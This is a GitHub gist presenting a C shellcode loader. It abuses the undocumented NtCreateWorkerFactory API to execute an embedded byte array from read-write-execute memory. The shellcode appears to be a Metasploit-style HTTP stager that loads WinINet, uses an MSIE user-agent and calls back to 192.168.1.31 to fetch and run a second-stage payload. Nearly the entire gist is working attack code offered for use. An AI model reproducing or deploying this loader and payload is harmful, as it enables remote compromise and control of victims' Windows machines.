Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save ASkyeye/2c7e85ce430dd3a54b747f708b3432c6 to your computer and use it in GitHub Desktop.
Save ASkyeye/2c7e85ce430dd3a54b747f708b3432c6 to your computer and use it in GitHub Desktop.
Just another shellcode execution technique :)
#include <Windows.h>
#include <stdio.h>
#define PRINTDEBUG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define WORKER_FACTORY_FULL_ACCESS 0xf00ff
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _FILE_IO_COMPLETION_INFORMATION
{
PVOID KeyContext;
PVOID ApcContext;
IO_STATUS_BLOCK IoStatusBlock;
} FILE_IO_COMPLETION_INFORMATION, * PFILE_IO_COMPLETION_INFORMATION;
typedef struct _WORKER_FACTORY_DEFERRED_WORK
{
struct _PORT_MESSAGE* AlpcSendMessage;
PVOID AlpcSendMessagePort;
ULONG AlpcSendMessageFlags;
ULONG Flags;
} WORKER_FACTORY_DEFERRED_WORK, * PWORKER_FACTORY_DEFERRED_WORK;
typedef enum _WORKERFACTORYINFOCLASS
{
WorkerFactoryTimeout, // LARGE_INTEGER
WorkerFactoryRetryTimeout, // LARGE_INTEGER
WorkerFactoryIdleTimeout, // s: LARGE_INTEGER
WorkerFactoryBindingCount, // s: ULONG
WorkerFactoryThreadMinimum, // s: ULONG
WorkerFactoryThreadMaximum, // s: ULONG
WorkerFactoryPaused, // ULONG or BOOLEAN
WorkerFactoryBasicInformation, // q: WORKER_FACTORY_BASIC_INFORMATION
WorkerFactoryAdjustThreadGoal,
WorkerFactoryCallbackType,
WorkerFactoryStackInformation, // 10
WorkerFactoryThreadBasePriority, // s: ULONG
WorkerFactoryTimeoutWaiters, // s: ULONG, since THRESHOLD
WorkerFactoryFlags, // s: ULONG
WorkerFactoryThreadSoftMaximum, // s: ULONG
WorkerFactoryThreadCpuSets, // since REDSTONE5
MaxWorkerFactoryInfoClass
} WORKERFACTORYINFOCLASS, * PWORKERFACTORYINFOCLASS;
typedef struct _WORKER_FACTORY_BASIC_INFORMATION {
LARGE_INTEGER Timeout;
LARGE_INTEGER RetryTimeout;
LARGE_INTEGER IdleTimeout;
BOOLEAN Paused;
BOOLEAN TimerSet;
BOOLEAN QueuedToExWorker;
BOOLEAN MayCreate;
BOOLEAN CreateInProgress;
BOOLEAN InsertedIntoQueue;
BOOLEAN Shutdown;
ULONG BindingCount;
ULONG ThreadMinimum;
ULONG ThreadMaximum;
ULONG PendingWorkerCount;
ULONG WaitingWorkerCount;
ULONG TotalWorkerCount;
ULONG ReleaseCount;
LONGLONG InfiniteWaitGoal;
PVOID StartRoutine;
PVOID StartParameter;
HANDLE ProcessId;
SIZE_T StackReserve;
SIZE_T StackCommit;
NTSTATUS LastThreadCreationStatus;
} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION;
typedef NTSTATUS(WINAPI* tNtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T);
typedef NTSTATUS(WINAPI* tNtWorkerFactoryWorkerReady)(HANDLE);
typedef NTSTATUS(WINAPI* tNtSetInformationWorkerFactory)(HANDLE, WORKERFACTORYINFOCLASS, PVOID, ULONG);
typedef NTSTATUS(WINAPI* tNtQueryInformationWorkerFactory)(HANDLE, WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS(WINAPI* tNtWaitForWorkViaWorkerFactory)(HANDLE, FILE_IO_COMPLETION_INFORMATION*, ULONG, PULONG, WORKER_FACTORY_DEFERRED_WORK*);
int main()
{
HANDLE hWorkerFactory;
ULONG ulThreadMinimum = 1;
ULONG ulKey = 'cat';
HANDLE hIoCompletion = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, ulKey, 0);
HMODULE hNtdll = GetModuleHandleA("ntdll");
tNtCreateWorkerFactory NtCreateWorkerFactory = (tNtCreateWorkerFactory)GetProcAddress(hNtdll, "NtCreateWorkerFactory");
if (!NtCreateWorkerFactory) {
return -1;
}
tNtSetInformationWorkerFactory NtSetInformationWorkerFactory = (tNtSetInformationWorkerFactory)GetProcAddress(hNtdll, "NtSetInformationWorkerFactory");
if (!NtSetInformationWorkerFactory) {
return -1;
}
unsigned char shellcode_buffer[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\xbf\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x71\x44\x50\x58\x00\x64\x29\x9e\x1c\x68\x96\xe6\x35\xf5\xa9\x1f\xb2\x59\xd8\xa6\x80\xad\x2c\xcd\x84\x62\x9a\x19\xec\x6c\xf3\x38\xb6\x90\x3c\xed\x51\xee\x07\x35\x3d\x8a\x9b\x17\x67\x05\xe7\xab\x5d\x22\x84\x3f\x30\xe4\x57\x40\xf3\x25\xd4\x64\x97\x41\x2e\x99\x2e\xc2\x93\x4b\x41\x7b\x4e\xdf\xf6\x3a\xb1\x86\x18\xd1\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x53\x56\x53\x45\x29\x0d\x0a\x00\x73\x35\x25\xab\xc6\x79\x41\xdd\x1e\x3d\x99\xe5\xfc\xb2\x47\xd0\x77\xa7\x28\x9b\x78\xa8\x57\xc2\xa9\xed\x61\xbb\xeb\x9a\x54\x41\xc0\x30\xe0\x87\x00\x2a\xfa\x05\x95\xb9\xb3\x40\x25\x93\x3c\xb2\xcb\x33\x31\xde\x46\x8b\x97\x94\x2b\x55\xdd\x0d\xa2\xbc\xa8\xd9\x6f\x82\x43\x4f\xe2\x10\xae\x43\x8d\x7a\xf2\xc9\xa5\x76\x19\x6a\xae\xba\x5c\x8f\xfc\x92\x74\x92\x1b\xa0\x1c\x10\xc9\x0e\xe5\x5d\x17\xb9\x5b\xa2\x4a\xdf\x20\x6e\x82\x2c\x3d\x08\x9d\xfb\x5c\xa3\x61\x20\x38\x83\xdf\x80\x8e\x79\xea\xfd\x71\x2c\x3c\xc1\xa5\x29\xd6\xe3\xfb\xcc\xa1\x91\xa2\x4b\x12\x27\xae\xd7\x8d\x17\xf6\x6a\x63\xcf\x24\x7a\xc5\x7b\xc5\x8f\x22\x79\x6d\xd4\xf5\x38\x6d\x3e\xa9\x23\x43\x9e\x02\xd2\xaf\x1f\x54\x64\xc6\xd1\x4c\xc2\xf0\x6e\xb4\xe4\x95\x73\x90\xf4\x22\x40\x53\x1c\xb8\x30\xa2\xb3\x9c\xd2\xe6\xf8\x77\x4d\x61\xf9\x76\xe3\x48\x46\x42\xcb\x7d\xba\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x33\x31\x00\x3a\xde\x68\xb1";
LPVOID shellcode_address = VirtualAlloc( NULL, sizeof( shellcode_buffer ), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
memcpy( shellcode_address, &shellcode_buffer[ 0 ], sizeof( shellcode_buffer ) );
PRINTDEBUG("[*] Start thread with NtCreateWorkerFactory");
NtCreateWorkerFactory( &hWorkerFactory, // _Out_ PHANDLE WorkerFactoryHandleReturn,
WORKER_FACTORY_FULL_ACCESS, // _In_ ACCESS_MASK DesiredAccess,
NULL, // _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes
hIoCompletion, // _In_ HANDLE CompletionPortHandle,
( HANDLE )-1, // _In_ HANDLE WorkerProcessHandle,
shellcode_address, // _In_ PVOID StartRoutine,
0, // _In_opt_ PVOID StartParameter,
1, 0x1000, 0x1000 ); // _In_opt_ ULONG MaxThreadCount, _In_opt_ SIZE_T StackReserve, _In_opt_ SIZE_T StackCommit
NtSetInformationWorkerFactory( hWorkerFactory, WorkerFactoryThreadMinimum, &ulThreadMinimum, sizeof( ULONG ) );
while ( TRUE ) {}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment